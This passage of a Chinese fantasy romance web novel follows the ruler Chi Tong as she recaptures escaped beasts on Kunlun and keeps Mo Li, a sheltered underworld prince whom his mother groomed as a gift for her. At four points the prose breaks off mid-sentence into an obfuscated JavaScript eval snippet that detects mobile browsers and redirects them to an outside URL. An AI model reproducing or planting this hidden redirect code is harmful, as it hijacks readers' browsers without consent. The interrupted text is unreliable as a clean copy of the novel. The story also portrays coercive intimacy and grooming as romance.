彻底失去意识的人,不会再黏糊糊地索吻,不会再用水雾迷|离的眸子一遍遍地想要看清自己,也不会再发出甜腻腻的|哭腔和|求饶声。 殿内突然安静下来。 池瞳动作顿住,看着怀中人昏睡的侧脸,长睫湿成一缕一缕,眼角还挂着未干的泪珠,唇瓣红肿微破,呼吸轻浅而均匀。 真是不经玩。 池瞳顿觉无趣,给他掖好被角后,便起身离去。 出了主殿,她如往常般来到绿海环池边的金案边,闭目小憩。 山海主没有觉,更无需睡觉。 大多时间,她都窝在山海殿里闭目冥想,精神力如无形的蛛网笼罩整个山海,一处一处地搜寻着。 一草一木的萌发,一虫一鸟地生死,江河湖海的涨落,山川大地的呼吸......世间万象,皆在她的神识笼罩之下。 遇到心情好的时候,就会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241421|197753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 施舍些微弱灵力,随意点化,让小草成精,兔子变人。 心情不好时,便会捉来几个倒霉虫,扔进净化池洗涤重塑。 白芷便是这样点化来的。 池瞳初诞天地时,身侧石缝里生着一株纯白的无名小花,那花形态殊丽,开在混沌的荒芜中,分外美丽,身为颜控的池瞳便随手将它带在身边。 日复一日,年复一年,小花沾染了她身上逸散的灵力,在某个深夜化作了一个灵力低微却容貌绝世的小仙,池瞳觉得有趣,便留她在身旁,赐名“白芷”。 虽灵力低微,可白芷毕竟是被山海主溢散的精神力侵染化形的,又一直跟在池瞳身边修炼,如今的法力在仙界算得上是顶尖的。 无奈是个恋爱脑,情劫一次次地历,又一次次地栽,一直未能成神。 想到白芷还未回来,池瞳生出些烦躁,精神力顺着她的气息搜寻着。 白芷最后留下的那一丝气息很微弱,但还是被她给捕捉到了,她顺着那气息跟至昆仑山,身处山海殿的眸子骤然睁开。 池瞳舔了舔右上侧的尖牙,暗骂这些不知死活的东西,当真是屡战屡败,屡败屡战,好不顽强。 她指尖在虚空一划,一道蝶形紫光凭空凝成,振翅飞入殿外,召回辛月,立刻前往昆仑山。 — 昆仑山系,乃龙脉之源,由天帝管辖。 然而此刻,这片本该仙气缭绕的圣地,却弥漫着浓郁的血腥与死气,遍地残骸,间杂着较为新鲜的尸骨,可见此事发生在不久前。 池瞳立于一处断崖之上,垂眸俯瞰,仅是大眼一瞧,便能猜出这是哪个畜生所为。 可奇怪的是,这片区域经由先天帝整顿过,已被人界划为禁地,鲜少凡人再敢进入,而后由于新任天帝尚年幼,便由玉山的西王母殿下管理,西王母用刑手段极为残忍,更不会有人自寻死路,触碰这个地盘。 究竟是不知所谓者甚多,前赴后继地送死,还是有人故意设局,引人前来? 她正沉思时,辛月突然望向不远处,道:“大人,狡来了。” 话音方落,远处山道上出现一道矫健的身影,几息间,豹纹牛角大狗便近在眼前。 豹纹牛角大狗这个形容概括得十分准确简练,狡是一直陪同西王母的吉兽,生性温和淳厚,奈何长得略微凶狠,一身的豹纹,头上还有一对牛角,单看身形,又分外似狗。 此刻他在池瞳面前垂下头颅,姿态恭谨:“主,殿下感知您驾临昆仑,特命我前来相迎,请您往玉山一叙。” 即使它不来接,池瞳也要去西王母哪里一趟。 这片山海沉寂了太久,安逸了太久,难得有想搞事者,着实好玩。 她好久没杀人了,池瞳的眸子闪过一瞬奇异的金光。 “带路。”她拂袖,素青身影已凌空而起。 狡低吼一声作为回应,转身化作一道流光,向玉山方向疾驰而去。 身后,昆仑山的风穿过累累白骨,发出呜咽般的啸音,仿佛预示着什么。 5. 第五章 玉山是西王母的道场,更是天地间刑罚最为狠厉之地。 池瞳和辛月在距西王母八丈远处停下脚步。 前方玉台上,西王母正盘膝而坐。她身着玄黑长袍,腰间束着玄铁打造的刑具腰带,上面悬挂着各式锁链、钩爪、刑鞭,只是往那里一坐,便有无形的威压弥漫开来。 然而,她的头发—— 如飞蓬般根根竖起,仿佛被天雷劈过般炸开,在风中狂野飘荡,发间还别着几枚歪斜的骨簪。 见到池瞳,西王母原本肃穆的脸上瞬间绽开欣喜的笑容:“大人!” 池瞳抬手,示意她不要过来,站在原地即可。 辛月从袖中取出织锦修囊,手指轻点,从囊中取出一把座椅,这座椅是由玲珑玉雕刻而成,通体晶莹剔透,内里生着天然的云雾状紫色纹路。 池瞳落座后,视线扫到那头发,还是不忍直视的别过脸去。 西王母知道池瞳一向喜爱好看的东西,每次来都忍不住对她的头发进行品鉴,可这头发她养了几百万年才长成这样,实在舍不得剪。 池瞳闭了闭眼,决定不再纠结她头发这个问题,开门见山:“昆仑山系那些尸骨,怎么回事?” 西王母讪讪地摸了摸自己炸毛的头发,开口道:“土蝼和钦原跑了。” 土蝼,形似山羊而四角,专食人肉,凶残暴戾,但凡被它撞过的动物,都会当场死亡,无一幸免,三千年前先天帝亲临昆仑,将其镇压于山底地牢。钦原则是与之相伴的毒鸟,形如蜂而大如鸳鸯,其毒能令魂魄溃散,比土蝼更危险,二者一同被封印。 若非封印被破,即便有凡人误入昆仑禁地,也不会遭受性命之忧,顶多是吓成疯子而已。 它们俩跑了,这昆仑一系恐怕都不得安宁。 幸而每只被封印的凶兽体内都留有地域禁制,活动范围被限定在特定区域,无法越界。土蝼与钦原的禁制范围就是整个昆仑山系,再逃也逃不到哪里去。 池瞳揉了揉眉心,久违地感到一丝心累,这些琐事本不该她亲自过问。可既然撞上了,总得收拾干净。 “那你见白芷那家伙没?”池瞳想起此次前来的目的,问道。 西王母愣了下,摇头,“这倒没。” 这回答让池瞳眉头微蹙。 来时的路上,她分明捕捉到白芷气息在昆仑一带的微弱波动。越是灵力强大,每到一个地方当地的地方主都会感受到她们的气息,白芷灵力如此充沛,按理说她来过后西王母定能感应到。 西王母不会说谎,她执掌天刑,自身言行皆受真言律令约束,出口即真,违者将遭天谴。 那么只剩下一种可能,白芷是故意隐匿气息,有意引她前来。 是遇到了什么连传讯都做不到的麻烦? 池瞳眸光沉了沉,但现在不是深究的时候,当务之急是处理土蝼与钦原,放任这两只凶兽在外行走每多一刻便多一份麻烦。 “辛月,护法。” “是,大人。”辛月躬身,双手平举交叉,轻触额头。 随即,她周身泛起一层淡金色的光罩,将池瞳与外界隔绝,光罩上流转着密密麻麻的符文。 池瞳闭目凝神。 一息,两息,三息。 第三息结束时,一道紫光自她额间迸射而出。 那光起初只是细细一缕,离体后瞬间扩散,化作亿万道紫色丝线,如一张无边巨网,向四面八方蔓延开去。 丝线穿过云雾,越过山峰,渗入大地,瞬息之间,整个昆仑山系,尽数被一层淡淡的紫色薄雾笼罩。 这不是普通的雾气。 这是任何物种都无法逃脱的山海主的精神力。 ——天地将掌握万物的权力交给了她。 紫雾蔓延到长留山,终于停了,土蝼和钦原被定格在原地。 池瞳唇角微勾,身形从玉座消失。 长留山距玉山有九百八十里,池瞳没带上辛月,自己瞬移过去了。 辛月维持着护法光罩,望向西王母:“殿下,主已亲自出手,您......” “本座知晓。”西王母盘坐原地,乱发下的眼睛望向长留山方向,“只是有些感慨,已经多久没见大人动用精神力了。” 山海主的精神力并非是取之不尽用之不竭,像这种覆盖整个山系的耗度,每用一次,就会损耗一丝心力,上一次,还是三万年前,镇压魔界动荡之时。 西王母只觉山海主的脾气愈发差了,往常这种小事,她根本就不会自己去解决,更不会大动干戈地使用精神力。 长留山。 此山盛产美玉,山体在日光下泛着温润的乳白色光泽,故又名“白玉山”。 此刻,山主白帝少昊的宫殿外一片狼藉。 原本精心打理的宫殿遍布裂痕,珍奇花草被践踏得不成样子,几根雕刻着祥云仙鹤的玉柱拦腰折断。 而造成这一切的罪魁祸首,土蝼和钦原正被无数紫色丝线缠绕定格,维持着扑杀的姿态,僵在半空。 池瞳的身影凭空出现在殿中央。 她刚站稳,一道身影便连滚带爬地扑了过来。 “主!您终于来了!”来人一身绣满繁复花纹的锦白长袍,头戴白玉冠,容貌俊美得近乎妖异,此刻却哭得一把鼻涕一把泪,“您瞧瞧!瞧瞧这俩祸害把我的长留山糟蹋成什么样了!打又打不走,骂又骂不听,我这几日连觉都没睡好,您看我这眼圈......” 他指着自己毫无瑕疵的眼睑,哭得更大声了。 池瞳面无表情地看着他表演。 白帝少昊生了一副花孔雀般的性子,最爱华美衣饰,最喜旁人夸赞容貌,哭起来更是梨花带雨,我见犹怜。 池瞳见不得他这番花孔雀模样,简言之:“情况。” 白帝少昊瞬间收声,卸下了哭戚戚的表情,“这俩祸害来我这儿很久了,您也知道,我这里盛产美玉,每年春秋两季,各仙门世家都会派人前来采掘。他俩紧着这边人多,赖在这儿了!还好我勤快,波及的人少。他们俩看我天天碍他们事,你瞧,刚才准备跟我打架呢!” 话音未落,被紫线缠绕的土蝼发出一声沉闷的怒吼,四只角上黑光涌动,试图挣破束缚,钦原尾针毒雾丝丝外溢。 池瞳瞥了它们一眼。 只是一眼。 紫丝骤然收紧,土蝼与钦原同时发出痛苦的哀鸣,挣扎戛然而止。 池瞳皱眉,满是不解:“你为何不通知西王母殿下?” 白帝少昊咽了口唾沫,继续道:“我本想通知西王母殿下,可......”他露出尴尬神色,“我的神识太久没用,忘了怎么开启了。” “......” 池瞳唇角掀起一抹极浅的弧度,虽不信他的鬼话,但却没有多加询问。 神识传讯是最基础的术法,怎么可能忘记?无非是不想招惹麻烦,或是另有所图。 但她懒得深究。 “我把他俩带回去了。” 白帝少昊脸上立刻洋溢起兴奋,“多谢主。主恩浩荡,少昊没齿难忘!改日定当备上厚礼,亲赴山海殿——” “不必。”池瞳打断他,“若下次还忘了神识如何用,那便永远别用了。” 临走前,池瞳淡淡打量了一眼他身上的花纹,“当个没神魂的花孔雀,或许比现在更漂亮。” 白帝少昊脸色一白,还未等他稍加解释,池瞳已拂袖卷起被制住的土蝼与钦原,身影化作紫光消散。 只留惊魂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241422|197753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 未定的花孔雀瘫坐在一地狼藉中。 把土蝼和钦原再次封印到昆仑山,并加固了封印,池瞳拍拍手转身欲走,临走前她没抱太大希望的问了句:“见过白芷吗?” 没想到土蝼直接激动大喊:“见过!”钦原眼神刀了它一眼,没有吭声。 池瞳脚步顿住,回身:“在哪?” 土蝼头脑简单,被这么一问,想也不想就答道:“天帝怀里!我看见了!那女仙身上有跟您相似的气息!” 辛月早在池瞳封印时就已赶到,此刻站在地牢入口,听到这番话,下巴差点掉在地上。 不是,白芷在人界乱|搞就算了,怎么还搞到了天帝? 天帝还是个小孩呢。 她下意识暗瞟了一眼池瞳的脸色,果不其然黑如锅底。 完了,这下完了。 白芷你自求多福吧,搞谁不行,偏偏搞新任天帝,山海主的小徒弟。 辛月心头一紧,已经做好了立刻杀回天庭的准备。 然而出乎意料的是,池瞳沉默了足足十息,最终什么也没说,转身离去,回了山海殿。 -- 山海殿,主殿。 池瞳刚踏入殿门,床榻上的人就动了。 墨璃揉着惺忪睡眼坐起身,里衣松松垮垮挂在肩上,露出一片白皙的锁骨与|胸|膛。他看到池瞳,眼睛一亮,也顾不上穿鞋,赤足跌跌撞撞下榻,张开双臂软软道:“姐姐,抱。” 正要跟着进来的辛月被这声“姐姐”激得浑身一颤,天灵盖窜起一片鸡皮疙瘩。她识趣地躬身退下,临走前忍不住又看了墨璃一眼。 这墨璃手段竟如此之高! 池瞳依言抱住他,手在顺滑的里衣上来回游移,最后落在浑圆|挺翘的那处,下意识捏了捏,然后托着那处将人整个抱起。 墨璃搂住她的脖子,将脸埋在她肩窝,蹭了蹭,散了散困意。好一会儿,他才撑起上身,双手搭在池瞳肩上,垂眸看她。 “姐姐,你去哪了?怎么看起来不太高兴?”他细声问,手指无意识地卷着她一缕垂落的发丝。 他刚醒来看到那双黑紫黑紫的眸子,险些吓了一大跳。 池瞳没回答,只是又捏了捏手中的软肉,然后像吸猫般将脸埋进墨璃柔软的腹部,深深吸了口气。 墨璃身上全是她昨日留下的冷香。 “见到璃儿就高兴了。” 这话她说的极其自然,可墨璃却悄然红了耳根。 他们之间只有肌肤之亲,鲜少有这般温存的对话,这让他既害羞,又忍不住渴望更多。 “姐姐,”他小声问,“你是神吗?” 只有神界,才会有这么金灿灿的殿宇吧? 池瞳点点头,声音懒懒的:“璃儿这几日都未曾进食,饿不饿?” 其实有池瞳的精神力滋养,墨璃根本不会感到饥饿,可他实在馋,他从未吃过冥界以外的食物,此刻充满了好奇。 “饿。”墨璃违心道。 “那妻主带你去吃好吃的。”池瞳抱着人往殿外走去。 墨璃被这称呼给惊得瞪大眼,坑坑巴巴的说:“姐姐......我们,我们还未成婚。” 在六界,只有正式缔结灵契,昭告天地的道侣,才能互称“妻夫”。妻主这称呼,更是只有在婚仪之后才能使用。 池瞳却满不在乎地反问:“不能这样叫吗?” “可以是可以......”墨璃脑子有些乱,“但是......” 但是他们是不是发展得太快了?从相遇到现在,不过几日光景,话本里那些爱情故事,不都是要历经磨难,互通心意,三媒六聘,最后才修成正果的吗? 怎么到他这里就直接跳到“妻主”了? 6. 第六章 池瞳看着他懵懂又慌乱的表情,眼底笑意更甚,抱着他穿过层层帷幕,走过环池碧水,进入云阁。 山海殿自然有伺候主子的人,可那些人并不能算作真正的“人”。 六具身形修长,面容精致的傀儡端着餐盘悄无声息走入云阁,行云流水地将一盘盘精致的菜肴摆上桌,又躬身退去,整个过程没有发生一丝声响,墨璃盯着它们离去的方向,眼中满是惊奇。 制造傀儡人需要强大的灵力支撑,即便在冥界,他也只见过母亲身边有一个,而这里却有那么多,跟不要灵力似的。 他越发对池瞳的身份感到好奇,能这般挥霍灵力的人,定身居高位。 可还不等他问出口,腰身便被扣住,整个人被轻轻一提,下一刻已侧坐在池瞳腿上。 他一个激灵,下意识扭动身子想下去,腰间却被一只有力的手臂牢牢圈住,温热的掌心贴着薄薄衣料,传来不容挣脱的力道。 “池瞳......”他嗫嚅道。 墨璃觉得,他们还是发展得太快了,至少......还没到要坐在怀里吃饭的地步吧? 可池瞳并未觉得这样有什么不妥。 之前暮仙居那位失明过一段时间,总喜欢窝在她怀里吃饭,久而久之,她也养成了这个习惯。 “吃吧。”池瞳一只手拿起玉箸,夹了块晶莹剔透的虾仁送到他唇边。 墨璃僵了僵,最终还是张嘴接了。虾仁入口即化,鲜甜的口感瞬间弥漫口腔,是他从未尝过的味道。 这一顿饭吃得格外煎熬,只因池瞳真的只是单纯的抱着他吃,自己也不吃,只是沉默地看着他吃。 被这般注视着,墨璃连咀嚼都变得小心翼翼,好不容易咽下口中食物,他小声问:“姐姐,你不吃吗?” 池瞳在他看不见的地方摇摇头,“不吃。”她早已没有口腹之欲了。 几百年,几千年,几万年......六界美食早已尝遍,再珍稀的食材于她而言都已失去新鲜感。 看他小口小口地吃着,腮帮子鼓鼓的模样,池瞳唇角微勾,空着的那只手绕到他胸前,勾起他一缕垂落的黑发,在指尖缠绕打圈。 发丝柔软顺滑,带着他身上特有的干净气息。 “你母亲......是何人?” 话音落下的瞬间,怀里原本放松的身躯骤然绷紧。 墨璃刚夹进嘴里的肉丸停止了咀嚼,鼓着一团在脸颊里,模样有些滑稽。 太可爱了,池瞳忍不住轻笑。 她这一笑,非但没有化解墨璃的紧张,反而让他整个人都僵住了,后背起了一层鸡皮疙瘩。 “哈哈......”他垂下眼睫,盯着碟子边缘精致的雕花,“母亲她......就是冥界的......嗯,我也是冥界的。” “我知道,”池瞳点点头,随后漫不经心地说:“你是从冥界逃出来的。” “咳——!” 这句话更让墨璃吓了一大跳,嘴里的肉丸差点噎进喉咙里,他连忙吐了出来,咳了几声,脸憋得通红,手忙脚乱抓起桌上的琉璃杯灌了一大口水,才勉强压下那阵呛咳。 她知道了?她怎么知道的?是猜的?还是早就看穿了? 他想要说些什么,移开话题,可脑子里一团浆糊,什么都想不出来,最终只能干巴巴道:“姐姐,这里好大啊,你能不能带我转一转?” 他在心里默数着时间,一秒,两秒,三秒......他不敢回头,不敢看池瞳的表情,只能僵硬地盯着面前那碟已经冷掉的鱼肉。 直到他觉得仿佛隔了一万年那么久,身后终于传来了女人的应声,“好。” 墨璃如蒙大赦,正要松口气,又听她问: “吃饱了吗?” “饱了饱了!”墨璃连忙点头,期盼着池瞳赶紧将刚才的话题给忘掉,最好永远都忘掉! 池瞳本就是有意逗他,眼见逗得人快要缩成一团,钻进地缝里了,才松了口,不再追问。 她松开圈在他腰间的手,任由他慌忙从自己腿上跳下去。 山海殿确实很大。 大到墨璃脚都要走酸了,还没逛完。他们穿过一座座悬浮的空中楼阁,踏过横跨绿海的玉石长桥,所见之处,无不极尽奢华,墙是灵玉砌的,瓦是琉璃烧的,连路边的灯盏都是夜明珠雕成的。 一个时辰后,墨璃终于受不了了,猛地蹲到地上,抱住膝盖,抬头看池瞳:“姐姐,还有多少啊?” 池瞳双臂环胸,垂眸看着他那团蘑菇,“这才走了十分之一不到。” “啊?” 墨璃彻底震惊了,十分之一?他们已经走了一个时辰了!照这样算,走遍整个山海殿岂不是要十个时辰? 他苦着脸,可怜巴巴地伸手拽池瞳的衣角:“走不动了,真的走不动了......” 于是池瞳扯住他的后颈领子,像提猫般将人一把拽起。 墨璃惊呼一声,双脚瞬间离地,整个人悬在半空,衣领勒住脖颈,呼吸骤然困难,他脸色发白,双手本能地抓住领口,双腿在空中胡乱踢,大喊道:“池瞳你快要勒死我了!” 他说的太顺畅了,丝毫没有察觉到这话有多么不敬,自然也没察觉到那双紫眸里流露出的一丝不耐。 下一刻,脖颈间的力道忽然松了,池瞳手臂揽着人的细腰,将他抱在怀里,语气平淡,却仿佛意有所指:“好好看看,门在哪里。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241423|197753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>升至空中视线开阔后,墨璃一时被惊呆了,瞬间将池瞳的话化为耳旁风,甚至根本没在意池瞳在说什么,而是看着眼前的景象发呆。 先前在地面行走时,只觉殿宇连绵,楼阁重重,可当升到百丈高空俯瞰时,才真正明白什么叫“望不见尽头”。 目之所及,尽是金碧辉煌的宫殿,它们并非杂乱无章地堆砌,而是以玉石长桥相连,形成一个庞大而精密的阵法。 环绕主殿外那条如丝绸般流淌的碧绿环池,水面上漂浮着无数萤状的光点,随波摇曳。 这就是神界吗,大到望不见尽头,更可怕的是,这只是一个人的殿宇,并不是整个神界。 “姐姐,那是什么?好漂亮!”他指着一处绚烂的蓝色光点问。 那些光点并不聚拢,像是互相排斥似的,保持着微妙的距离,但是由于数量太大,所以在空中俯瞰时,尤为壮观。 池瞳扫了一眼,很快又将视线转移到墨璃白皙的脖颈上。 牙又痒了。 她随意敷衍道:“一棵树而已。” “树?”墨璃睁大眼,“什么树是蓝色的?还会发光?” 他从未见过这种树,在冥界,植物多是灰黑或暗红色,而话本里人间的树,也都是绿色。 墨璃兴奋地转过头,正对上那双紫眸,刚才的感觉又冲上了天灵盖。 像是整个人被舔过似的,黏黏地,不过只一秒,刚才的眼神又像是幻觉,转瞬即逝。 池瞳温柔地看着他,没有回应关于树的问题,而是问:“璃儿,身上还疼吗?” 这话题转得突兀,墨璃下意识摇头,诚实道:“不疼了。” 话一出口,他忽然意识到什么,后知后觉地察觉到危险,转过身想逃,却发现整个人都被牢牢禁锢在池瞳臂弯里,动弹不得。 完蛋。 他有些欲哭无泪,不明白池瞳为什么对这件事那么热衷。 难不成,池瞳只是馋他身子?这个念头让他心口莫名发闷。 在身体又陷入柔软的床褥时,墨璃紧张地用手掌抵住池瞳的肩。 “姐姐......”他咬着唇,犹豫片刻,还是问出了口,“你喜欢我吗?” 池瞳动作微顿。 她垂眸看着身下的人,那张脸因紧张而微微泛红,眼睛睁得圆圆的,里面盛着些不安与期待。 “当然喜欢,”她慢悠悠道,俯身凑近他的耳畔,温热的呼吸洒在敏感的耳廓,“我最爱璃儿了。” 话音落下,她无视了肩上那点微不足道的力道,缓缓压下身子。 “我跟璃儿,可是天造地设的......一对。” 话语甜蜜,说者却不见半分真心。 7. 第七章 冥殿。 大殿上一片死寂,连呼吸声都没有,因为殿中跪着的,本就不是活人。 千绮跪在冰冷的地面上,膝盖早已磨得血肉模糊,他垂着头,瘦削的肩膀止不住颤抖,却不敢发出一丝声响。 作为墨璃三百年来唯一的贴身小侍,千绮从记事起就跟在墨璃身边,从未受过如此酷刑。 墨璃被冥君保护得极好,从小到大除了外出,其余事情皆会答应,要什么给什么。 几百年了,主子唯一的心愿就是离开冥界,去外面看看,好不容易逃出,千绮自是不会出卖墨璃,早已做好了魂飞魄散的打算。 墨璃离开前将他托付给大君女墨瑜,以为有姐姐的庇护他便能安然无恙。可主子哪里知道,冥君对他私自出逃一事,会愤怒到何种地步,或许连大君女都要受到牵连。 此刻,他跪在冥君座前,听着上方水镜中传出的画面声音。 那是用往生镜回溯的影像,穿着粗布麻衣的墨璃躲过一队又一队巡逻的鬼卒,逃出宫殿,穿过街市,混入等待通界的队伍中。 当屏障裂开,一道紫色身影映入他眼眸的刹那,影像戛然而止。 冥殿守卫森严,墨璃虽熟悉路,但以他微末的修为,想要完全避开所有巡逻,几乎不可能。可回溯影像中,他躲藏的每一个角落,路过的每一条回廊,都恰好在守卫换班的间隙,或是被其他事务暂时引开。 仿佛有一只看不见的手,在暗中为他铺路。 往生镜能回溯过往,却无法追踪冥界以外的区域,从墨璃眼中映出那抹紫色开始,关于他的一切,便如投潭之石,再无回响。 冥君斜倚在座上,单手支颐,目不转睛地看着空中的水镜画面。 许久,就在千绮快要撑不住,昏倒在地时,上位发出一声愉悦的笑声。 那笑声很轻,却让千绮瞬间清醒,冷汗浸透了后背。 冥君何时笑得这么开心过?千绮更加惶恐了。 “你做得很好。” 千绮猛地抬起头,几乎以为自己出现了幻听。 冥君靠在王座上,唇角噙着一抹若有若无的笑意,视线落到千绮身上。 “下去领赏吧。”她挥了挥手,语气轻描淡写。 千绮呆住了。 他茫然地看向殿侧,大君女静静站在哪,对他微微点头,眼神示意他快走。 两名鬼侍无声上前,搀扶起几乎无法站立的千绮,将他带离大殿。 经过大君女身边时,千绮张了张嘴,想说什么,却最终只是垂下眼,被搀扶着踉跄离去。 他一晃一晃地走着,百思不得其解,为何冥君会夸自己做得好,分明在知晓主子私逃后,表情极为震怒。 还有领赏...... 他该领的,难道不是罚吗? 空旷阴森的大殿上,只留了冥君和墨瑜。 墨瑜在帮助墨璃逃走时,就料到了今天,因此并未多做解释来乞求母君原谅,而是缓缓跪下,“母君,是我放璃儿逃走的,要罚便罚我吧。” 冥君的身影忽然消失。 下一刻,她已站在墨瑜面前,玄黑裙摆拂过地面,没有一丝声响。 “你倒是敢做敢当。”她俯视着跪地的长女,声音听不出喜怒,“我竟不知,在我不知道的地方,你们姐弟二人都开始忤逆我了。” 墨瑜垂首,背脊挺直,没有辩解。 “不过......”她斜了眼地上跪着的墨瑜,“倒是弄巧成拙了。” “原想着再养几百年,再送给大人的,谁料......” 冥君停了话,脑海中浮现方才往生镜中,墨璃眼中一闪而过的紫色身影,意味不明,“果真是天造地设的一对。也省了我再费尽心思,想着如何自然地将他送给大人了。” 墨瑜心头一沉,头压得更低,忍不住开口:“母君,璃儿他还小,心智不成熟,想来是无法完成您的大任,不若我去将他抓回来,再好好教导几年......” “不——”冥君轻甩衣袖,缓步走回主座上,“要的就是他心智不成熟,不然你以为,我为何三百年来,从不让他接触外界之人?不让他知晓人情世故?” “一张白纸,才最好作画。”冥君靠回椅背,闭上眼,“一个天真无知,满心依赖的孩子,才最能勾起那位大人的兴趣,也最容易被掌控。” 她顿了顿,睁开眼,“你这次擅自行动,虽误打误撞成了事,但......” 墨瑜立刻俯首:“女儿知错。” “错?”冥君轻笑,“不,你办得很好。只是——” 冥君看着匍匐在脚底的女儿,眼底恢复了往常的冷漠,“若是再有下次,我可不能保证,你还能安然地跪在这里了。” 一向听话的大女儿竟在自己不知情时放走了小男儿,有这胆子,恐怕背地里不少做些她不知道的事。 所幸没酿成什么大祸。 “退下吧。今日之事,不许对任何人提起。” 墨瑜深深叩首,起身时,背脊已被冷汗浸透,懊恼深深地笼罩着她。 她退出大殿,走在阴冷的回廊里,脑海中反复回响着母亲的话。 所以这三百年,璃儿的一切,就连性格爱好,都是母君的精心设计? 为了将他打磨成一件完美的礼物,献给那位大人? 墨瑜握紧拳头,指甲深深掐进掌心。 她忽然想起璃儿离开前,抱着她小声告别:“姐姐,等我出去看看外面的世界,就回来陪你。我们一起去人界玩,听说那里有糖葫芦,酸酸甜甜的,很好吃。” 那明亮的眼睛里,藏满了对她的信任和依赖。 而她却亲手将他送进了另一个,更精致的囚笼里。 —— 墨璃再次醒来时,穹顶的星辰不知何时熄灭了,殿内一片昏暗。 他挪了挪酸痛的身子,不自觉撇了撇嘴。 看来池瞳这次忘了给他施那个能止痛的法术了。 床上又剩他自己了。 不过回想起池瞳说的那句“天造地设”,他就忍不住激动,蒙着脑袋在被子里滚来滚去,最后猛地停下,卷着被子跪坐起来,打量着四周。 空旷的主殿在黑暗中显得格外冷清,那些白日里金碧辉煌的建筑,此刻褪去华光,只剩下冰冷的轮廓。 这感觉太像冥殿了。 他眼眶一酸,不由得感到些委屈。 每次都是这样!醒来后只剩他自己,没有了池瞳的身影! 情绪来的猝不及防,他鼻头一酸,泪就啪唧啪唧地掉了下来。 他小声呜咽了下,想忍,却越忍越难受,索性把脸埋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241424|197753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进枕头里,肩膀一抽一抽地哭了起来。 还没哭几声,殿内骤然亮起。 穹顶的星辰重新点亮,柔和的银白光芒洒落,将地面映得如同铺了一层霜雪。 墨璃吓了一跳,慌忙用袖子擦眼泪,眼睛红红地看向光源最亮处。 辛月站在殿门口,脸上没什么表情。 她刚从冥界回来,还没来得及向池瞳汇报,就被派来“看看墨璃醒了没”。 心里正憋屈着,结果一进门就听见这位新宠在哭。 真是...... 辛月深吸一口气,将那句“矫情”咽回肚子里。 “你哭了?”她走进来,问。 墨璃忙不迭摇头,声音还带着哭腔:“没有。” “眼泪还挂在脸上呢。”辛月毫不留情地戳穿,抱臂看他,“又怎么了?” 这不是第一次令辛月觉得这被掳回来的墨璃娇气了。 她在山海殿侍奉数百万年,见过的美人没有一万也有八千。那些被献给山海主的人,哪个不是小心翼翼,生怕行差踏错,惹池瞳不悦,落得个魂飞魄散的下场。 可眼前这位倒好,哭得理直气壮,委屈得仿佛全天下都欠他的。 辛月知道,这些小男人由于心胸不宽,所以极容易敏感落泪,可这样的极品还是难见。 墨璃吸了吸鼻子,小声问:“池瞳去哪了?” 辛月:“......” 池瞳是你能叫的? 她本想冷声训斥,可想起从冥界查到的那些事,又硬生生把话咽了回去。 罢了,想必这真是个不认识山海主的小傻子。 一旦代入了傻子设定,辛月看墨璃的眼神就不自觉加上了同情。 真可怜,明明有一个极好的身份,却被亲娘当作献礼,被亲姐设计,送到山海主床上,还傻乎乎地以为遇到了真爱。 “大人去办事了,过会儿回来。”辛月扯了个谎,她回来时池瞳便待在暮仙居,想必还要再待一段时间。 “好吧。”墨璃格外好哄,知道池瞳有要事要办后,便不再多问了。 辛月暗暗松了口气。 池瞳只说让自己看看墨璃醒了没,没说要哄人,也没说要陪聊。眼见墨璃不哭了,她转身就准备走。 “那个......”软软的声音从身后传来。 辛月脚步一顿,认命地回头:“还有事?” 墨璃裹着被子,只露出一张哭得泛红的小脸,“你叫什么名字呀?”上次辛月自我介绍的时候,他根本没仔细听。 “......辛月。” 果不其然,知道了她的名字,小傻子便开始使唤了起来:“辛月,我饿了。” 小傻子摸了摸自己扁扁的肚子,说:“你能带我去吃点东西吗?” 辛月:“......” 她何时受过这样的指使,即便是暮仙居那位,对她也是客客气气的,哪敢让她干这干那。 “不能。”她干脆拒绝。 